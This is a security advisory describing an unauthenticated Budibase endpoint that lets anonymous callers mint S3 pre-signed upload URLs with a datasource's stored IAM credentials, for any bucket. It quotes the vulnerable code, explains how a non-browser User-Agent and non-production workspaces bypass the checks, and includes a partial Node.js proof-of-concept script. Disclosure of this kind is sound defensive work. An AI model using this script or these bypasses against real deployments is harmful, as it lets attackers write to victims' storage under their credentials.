Summary
Budibase: POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials
Advisory details
Summary
The Budibase server route POST /api/attachments/:datasourceId/url (packages/server/src/api/routes/static.ts) is registered with only the recaptcha middleware. There is no authorized(...) middleware in the chain. The controller (packages/server/src/api/controllers/static/index.ts::getSignedUploadURL) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored accessKeyId / secretAccessKey, and returns an AWS Signature V4 pre-signed PutObjectCommand URL for the caller-supplied bucket and key. The bucket is not pinned to the datasource's configured bucket.
The workspace context required by sdk.datasources.get is sourced by getWorkspaceIdFromCtx (packages/backend-core/src/utils/utils.ts) from any of: the x-budibase-app-id header, the JSON body appId, a path segment that begins with the workspace prefix, or ?appId=. auth.buildAuthMiddleware([], { publicAllowed: true }) runs before any of this and explicitly allows anonymous requests. The currentWorkspace middleware's "deny access to dev preview" branch only triggers under isBrowser(ctx) && !isApiKey(ctx); isBrowser checks the parsed User-Agent for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too.
Net effect: an anonymous attacker who knows or can enumerate a workspace id (app_...) and an S3-source datasource id (ds_...) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the publicUrl so the attacker knows exactly where their PUT lands. Because bucket is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for.
Affected code
packages/server/src/api/routes/static.ts at HEAD 56d2a984 (master, 2026-05-18):
import { permissions } from "@budibase/backend-core"
import Router from "@koa/router"
import { authorizedMiddleware as authorized } from "../../middleware/authorized"
import recaptcha from "../../middleware/recaptcha"
import { paramResource } from "../../middleware/resourceId"
import * as controller from "../controllers/static"
const { BUILDER, PermissionType, PermissionLevel } = permissions
const router: Router = new Router()
// ...
router
.post("/api/attachments/process", authorized(BUILDER), controller.uploadFile)
.post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip)
.post(
"/api/attachments/:tableId/upload",
recaptcha,
paramResource("tableId"),
authorized(PermissionType.TABLE, PermissionLevel.WRITE),
controller.uploadFile
)
// ...
.post(
"/api/attachments/:datasourceId/url",
recaptcha,
controller.getSignedUploadURL // <- no authorized(...)
)
Note the asymmetry: every other mutating endpoint on this router carries an authorized(...) middleware. The signed-URL endpoint does not.
packages/server/src/api/controllers/static/index.ts:595-645:
export const getSignedUploadURL = async function (ctx) {
let datasource
try {
const { datasourceId } = ctx.params
datasource = await sdk.datasources.get(datasourceId, { enriched: true })
if (!datasource) {
ctx.throw(400, "The specified datasource could not be found")
}
} catch (error) {
ctx.throw(400, "The specified datasource could not be found")
}
let signedUrl, publicUrl
const awsRegion = (datasource?.config?.region || "eu-west-1") as string
if (datasource?.source === "S3") {
const { bucket, key } = ctx.request.body || {}
if (!bucket || !key) {
ctx.throw(400, "bucket and key values are required")
}
try {
let endpoint = datasource?.config?.endpoint
if (endpoint && !utils.urlHasProtocol(endpoint)) {
endpoint = `https://${endpoint}`
}
const s3 = new S3({
region: awsRegion,
endpoint,
credentials: {
accessKeyId: datasource?.config?.accessKeyId as string,
secretAccessKey: datasource?.config?.secretAccessKey as string,
},
})
const params = { Bucket: bucket, Key: key }
signedUrl = await getSignedUrl(s3, new PutObjectCommand(params))
if (endpoint) {
publicUrl = `${endpoint}/${bucket}/${key}`
} else {
publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}`
}
} catch (error: any) {
ctx.throw(400, error)
}
}
ctx.body = { signedUrl, publicUrl }
}
sdk.datasources.get(datasourceId, { enriched: true }) (packages/server/src/sdk/workspace/datasources/datasources.ts) does the workspace DB read and also substitutes {{ env.* }} references in the config via processObjectSync, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built.
recaptcha (packages/server/src/middleware/recaptcha.ts) short-circuits to next() whenever the workspace either is not a production workspace or does not have features.recaptchaEnabled = true on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the x-budibase-type: builder header skip the check, but that branch is irrelevant here — the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops.
Reproduction
Proof-of-concept Node.js script (no AWS SDK dependency, no external libraries):
#!/usr/bin/env node
// PoC: Unauthenticated S3 signed-upload-URL minting in Budibase
// usage: node poc.js <budibase-base-url> <app-id> <datasource-id>
"use strict"
const http = require("http")
const https = require("https")
const { URL } = require("url")
function postJson(targetUrl, headers, body) {
return new Promise((resolve, reject) => {
const u = new URL(targetUrl)
const lib = u.protocol === "https:" ? https : http
const payload = Buffer.from(JSON.stringify(body), "utf8")
const req = lib.request(
{
method: "POST",
protocol: u.protocol,
hostname: u.hostname,
port: u.port || (u.protocol === "https:" ? 443 : 80),
path: u.pathname + u.search,
headers: Object.assign(
{
"Content-Type": "application/json",
"Content-Length": payload.length,
// Deliberately not a recognised browser UA so the
// currentWorkspace dev-preview redirect does not fire.
"User-Agent": "budibase-poc/1.0",
},
headers || {}
),
},
res => {
const chunks = []
res.on("data", c => chunks.push(c))
res.on("end", () =>
resolve({
status: res.statusCode,
body: Buffer.concat(chunks).toString("utf8"),
})
)
}
)
req.on("error", reject)
req.write(payload)
req.end()
})
}
async function main() {
const [baseUrl, appId, datasourceId] = process.argv.slice(2)
if (!baseUrl || !appId || !datasourceId) {
console.error("usage: node poc.js <baseUrl> <appId> <datasourceId>")
process.exit(2)
}
const bucket = process.env.POC_BUCKET || "attacker-chose
References
Related vulnerabilities
All Supply chain →- HIGHCVE-2026-52799
Gogs Missing Authorization in Attachment Download
- MEDIUMCVE-2026-44585
Paymenter has broken object level authorization via service reference manipulation on ticket creation
- MEDIUMCVE-2026-33684
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
- MEDIUMGHSA-mxjx-28vx-xjjj
Network-AI: ApprovalInbox HTTP server has no authentication — anyone can approve pending agent actions
- HIGHCVE-2026-22555
Gitea before 1.26.0 is missing a `CanCreateOrgRepo` permission check on its fork API (CVE-2026-22555). A user without permission to create repositories in an organization could fork into it and, in doing so, exfiltrate the organization's secrets. It is a broken-authorization flaw that leaks organization and CI/CD secrets to users who should not have access to them.
- HIGHCVE-2026-26231
Gitea before 1.26.2 has an authorization bypass in its "Allow edits from maintainers" pull-request feature (CVE-2026-26231). The maintainer edit permission was not properly scoped, so a user could push unauthorized commits to any repository they could merely read. In effect, read access to a repo could be turned into write access through a crafted pull request.